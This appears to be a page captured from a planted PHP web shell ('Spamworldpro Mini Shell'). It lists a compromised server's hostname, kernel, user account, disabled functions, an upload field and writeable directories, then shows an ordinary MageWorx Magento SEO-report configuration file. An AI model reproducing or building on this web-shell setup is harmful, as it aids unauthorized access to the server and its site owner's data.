Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/mageworx/module-seoreports/Model/Config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/mageworx/module-seoreports/Model/Config/Page.php
<?php
/**
 * Copyright © MageWorx. All rights reserved.
 * See LICENSE.txt for license details.
 */

namespace MageWorx\SeoReports\Model\Config;

class Page extends \MageWorx\SeoReports\Model\Config\AbstractConfig
{
    /**
     * @var array
     */
    protected $config =
        [
            'reference_id'     => [
                'item_property' => 'page_id'
            ],
            'title'            =>
                [
                    'title_problems' => [
                        'duplicate' => [
                            'field'       => 'title_duplicate_count',
                            'link'        => 'mageworx_seoreports/page/duplicate',
                            'param_field' => 'prepared_title',
                        ],
                        'length'    => [
                            'field'           => 'title_length',
                            'length_provider' => \MageWorx\SeoReports\Model\LengthDataProvider\MetaTitle::class
                        ],
                        'missing'   => [
                            'field'      => 'prepared_title',
                            'field_type' => 'text',
                        ]
                    ],
                ],
            'meta_title'       =>
                [
                    'meta_title_problems' => [
                        'duplicate' => [
                            'field'       => 'meta_title_duplicate_count',
                            'link'        => 'mageworx_seoreports/page/duplicate',
                            'param_field' => 'prepared_meta_title',
                        ],
                        'length'    => [
                            'field'           => 'meta_title_length',
                            'length_provider' => \MageWorx\SeoReports\Model\LengthDataProvider\MetaTitle::class
                        ],
                        'missing'   => [
                            'field'      => 'prepared_meta_title',
                            'field_type' => 'text',
                        ]
                    ],
                ],
            'meta_description' =>
                [
                    'meta_description_problems' => [
                        'length'  => [
                            'field'           => 'meta_description_length',
                            'length_provider' => \MageWorx\SeoReports\Model\LengthDataProvider\MetaDescription::class
                        ],
                        'missing' => [
                            'field'      => 'meta_description_length',
                            'field_type' => 'length',
                        ]
                    ],
                    'write_to_db'               => false
                ],
            'heading'          =>
                [
                    'heading_problems' => [
                        'duplicate' => [
                            'field'       => 'heading_duplicate_count',
                            'link'        => 'mageworx_seoreports/page/duplicate',
                            'param_field' => 'prepared_heading',
                        ],
                        'length'    => [
                            'field'           => 'heading_length',
                            'length_provider' => \MageWorx\SeoReports\Model\LengthDataProvider\H1::class
                        ],
                        'missing'   => [
                            'field'      => 'prepared_heading',
                            'field_type' => 'text',
                        ]
                    ],
                    'item_property'    => 'content_heading'
                ],
            'url_path'         => [
                'url_path_problems' => [
                    'length' => [
                        'field'           => 'url_path_length',
                        'length_provider' => \MageWorx\SeoReports\Model\LengthDataProvider\Url::class
                    ],
                ],
                'item_property'     => 'identifier'
            ],
            'store_id'         => []
        ];

    /**
     * @return array
     */
    public function getConfig()
    {
        return $this->config;
    }
}

Spamworldpro Mini